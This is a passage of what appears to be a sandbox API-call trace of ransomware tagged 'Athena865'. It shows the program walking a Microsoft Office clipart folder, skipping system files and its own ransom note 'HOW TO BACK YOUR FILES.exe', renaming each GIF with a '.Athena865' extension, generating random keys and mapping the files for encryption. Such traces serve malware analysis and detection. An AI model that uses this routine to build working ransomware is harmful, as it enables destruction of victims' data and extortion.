pbBuffer=0x241d1d8) returned 1 [0135.845] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.846] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1150, lpName=0x0) returned 0x154 [0135.849] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1150) returned 0x100000 [0135.853] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.856] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.856] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.857] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.857] CloseHandle (hObject=0x154) returned 1 [0135.857] CloseHandle (hObject=0x17c) returned 1 [0135.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.857] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1c81500, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1c81500, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01839_.GIF", cAlternateFileName="")) returned 1 [0135.857] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.857] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.857] lstrcmpiW (lpString1="WB01839_.GIF", lpString2=".") returned 1 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="..") returned 1 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="windows") returned -1 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="bootmgr") returned 1 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="temp") returned 1 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="pagefile.sys") returned 1 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="boot") returned 1 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="ids.txt") returned 1 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="ntuser.dat") returned 1 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="perflogs") returned 1 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="MSBuild") returned 1 [0135.858] lstrlenW (lpString="WB01839_.GIF") returned 12 [0135.858] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01839_.GIF" | out: lpString1="WB01839_.GIF") returned="WB01839_.GIF" [0135.858] lstrlenW (lpString="WB01839_.GIF") returned 12 [0135.858] lstrlenW (lpString="Athena865") returned 9 [0135.858] lstrcmpiW (lpString1="1839_.GIF", lpString2="Athena865") returned -1 [0135.858] lstrlenW (lpString=".dll") returned 4 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2=".dll") returned 1 [0135.858] lstrlenW (lpString=".lnk") returned 4 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2=".lnk") returned 1 [0135.858] lstrlenW (lpString=".ini") returned 4 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2=".ini") returned 1 [0135.858] lstrlenW (lpString=".sys") returned 4 [0135.858] lstrcmpiW (lpString1="WB01839_.GIF", lpString2=".sys") returned 1 [0135.858] lstrlenW (lpString="WB01839_.GIF") returned 12 [0135.859] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.Athena865") returned 73 [0135.859] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.athena865"), dwFlags=0x1) returned 1 [0135.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.860] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1094) returned 1 [0135.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.861] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.862] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.862] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.862] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x750, lpName=0x0) returned 0x154 [0135.863] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x750) returned 0x100000 [0135.864] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.865] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.865] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.866] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.866] CloseHandle (hObject=0x154) returned 1 [0135.866] CloseHandle (hObject=0x17c) returned 1 [0135.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.866] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94800, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d94800, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01840_.GIF", cAlternateFileName="")) returned 1 [0135.866] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.866] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.866] lstrcmpiW (lpString1="WB01840_.GIF", lpString2=".") returned 1 [0135.866] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="..") returned 1 [0135.866] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="windows") returned -1 [0135.866] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="bootmgr") returned 1 [0135.866] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="temp") returned 1 [0135.867] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="pagefile.sys") returned 1 [0135.867] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="boot") returned 1 [0135.867] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="ids.txt") returned 1 [0135.867] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="ntuser.dat") returned 1 [0135.867] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="perflogs") returned 1 [0135.867] lstrcmpiW (lpString1="WB01840_.GIF", lpString2="MSBuild") returned 1 [0135.867] lstrlenW (lpString="WB01840_.GIF") returned 12 [0135.867] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01840_.GIF" | out: lpString1="WB01840_.GIF") returned="WB01840_.GIF" [0135.867] lstrlenW (lpString="WB01840_.GIF") returned 12 [0135.867] lstrlenW (lpString="Athena865") returned 9 [0135.867] lstrcmpiW (lpString1="1840_.GIF", lpString2="Athena865") returned -1 [0135.867] lstrlenW (lpString=".dll") returned 4 [0135.867] lstrcmpiW (lpString1="WB01840_.GIF", lpString2=".dll") returned 1 [0135.867] lstrlenW (lpString=".lnk") returned 4 [0135.867] lstrcmpiW (lpString1="WB01840_.GIF", lpString2=".lnk") returned 1 [0135.867] lstrlenW (lpString=".ini") returned 4 [0135.867] lstrcmpiW (lpString1="WB01840_.GIF", lpString2=".ini") returned 1 [0135.867] lstrlenW (lpString=".sys") returned 4 [0135.867] lstrcmpiW (lpString1="WB01840_.GIF", lpString2=".sys") returned 1 [0135.867] lstrlenW (lpString="WB01840_.GIF") returned 12 [0135.867] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.Athena865") returned 73 [0135.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.athena865"), dwFlags=0x1) returned 1 [0135.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.870] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1534) returned 1 [0135.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.870] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.871] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.871] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.871] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x900, lpName=0x0) returned 0x154 [0135.873] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x900) returned 0x100000 [0135.874] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.875] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.875] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.876] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.876] CloseHandle (hObject=0x154) returned 1 [0135.876] CloseHandle (hObject=0x17c) returned 1 [0135.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.876] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983ead00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x983ead00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x76c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01842_.GIF", cAlternateFileName="")) returned 1 [0135.876] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.876] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.876] lstrcmpiW (lpString1="WB01842_.GIF", lpString2=".") returned 1 [0135.876] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="..") returned 1 [0135.876] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="windows") returned -1 [0135.876] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="bootmgr") returned 1 [0135.876] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="temp") returned 1 [0135.876] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="pagefile.sys") returned 1 [0135.877] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="boot") returned 1 [0135.877] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="ids.txt") returned 1 [0135.877] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="ntuser.dat") returned 1 [0135.877] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="perflogs") returned 1 [0135.877] lstrcmpiW (lpString1="WB01842_.GIF", lpString2="MSBuild") returned 1 [0135.877] lstrlenW (lpString="WB01842_.GIF") returned 12 [0135.877] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01842_.GIF" | out: lpString1="WB01842_.GIF") returned="WB01842_.GIF" [0135.877] lstrlenW (lpString="WB01842_.GIF") returned 12 [0135.877] lstrlenW (lpString="Athena865") returned 9 [0135.877] lstrcmpiW (lpString1="1842_.GIF", lpString2="Athena865") returned -1 [0135.877] lstrlenW (lpString=".dll") returned 4 [0135.877] lstrcmpiW (lpString1="WB01842_.GIF", lpString2=".dll") returned 1 [0135.877] lstrlenW (lpString=".lnk") returned 4 [0135.877] lstrcmpiW (lpString1="WB01842_.GIF", lpString2=".lnk") returned 1 [0135.877] lstrlenW (lpString=".ini") returned 4 [0135.877] lstrcmpiW (lpString1="WB01842_.GIF", lpString2=".ini") returned 1 [0135.877] lstrlenW (lpString=".sys") returned 4 [0135.877] lstrcmpiW (lpString1="WB01842_.GIF", lpString2=".sys") returned 1 [0135.877] lstrlenW (lpString="WB01842_.GIF") returned 12 [0135.877] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.Athena865") returned 73 [0135.877] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.athena865"), dwFlags=0x1) returned 1 [0135.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.881] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1900) returned 1 [0135.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.882] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.883] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.883] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.883] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa70, lpName=0x0) returned 0x154 [0135.885] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa70) returned 0x100000 [0135.886] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.887] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.887] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.888] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.888] CloseHandle (hObject=0x154) returned 1 [0135.888] CloseHandle (hObject=0x17c) returned 1 [0135.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.888] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d8000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x970d8000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01843_.GIF", cAlternateFileName="")) returned 1 [0135.888] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.888] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.888] lstrcmpiW (lpString1="WB01843_.GIF", lpString2=".") returned 1 [0135.888] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="..") returned 1 [0135.888] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="windows") returned -1 [0135.888] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="bootmgr") returned 1 [0135.888] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="temp") returned 1 [0135.889] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="pagefile.sys") returned 1 [0135.889] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="boot") returned 1 [0135.889] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="ids.txt") returned 1 [0135.889] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="ntuser.dat") returned 1 [0135.889] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="perflogs") returned 1 [0135.889] lstrcmpiW (lpString1="WB01843_.GIF", lpString2="MSBuild") returned 1 [0135.889] lstrlenW (lpString="WB01843_.GIF") returned 12 [0135.889] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01843_.GIF" | out: lpString1="WB01843_.GIF") returned="WB01843_.GIF" [0135.889] lstrlenW (lpString="WB01843_.GIF") returned 12 [0135.889] lstrlenW (lpString="Athena865") returned 9 [0135.889] lstrcmpiW (lpString1="1843_.GIF", lpString2="Athena865") returned -1 [0135.889] lstrlenW (lpString=".dll") returned 4 [0135.889] lstrcmpiW (lpString1="WB01843_.GIF", lpString2=".dll") returned 1 [0135.889] lstrlenW (lpString=".lnk") returned 4 [0135.889] lstrcmpiW (lpString1="WB01843_.GIF", lpString2=".lnk") returned 1 [0135.889] lstrlenW (lpString=".ini") returned 4 [0135.889] lstrcmpiW (lpString1="WB01843_.GIF", lpString2=".ini") returned 1 [0135.889] lstrlenW (lpString=".sys") returned 4 [0135.889] lstrcmpiW (lpString1="WB01843_.GIF", lpString2=".sys") returned 1 [0135.889] lstrlenW (lpString="WB01843_.GIF") returned 12 [0135.889] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.Athena865") returned 73 [0135.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.athena865"), dwFlags=0x1) returned 1 [0135.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.896] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4817) returned 1 [0135.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.897] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 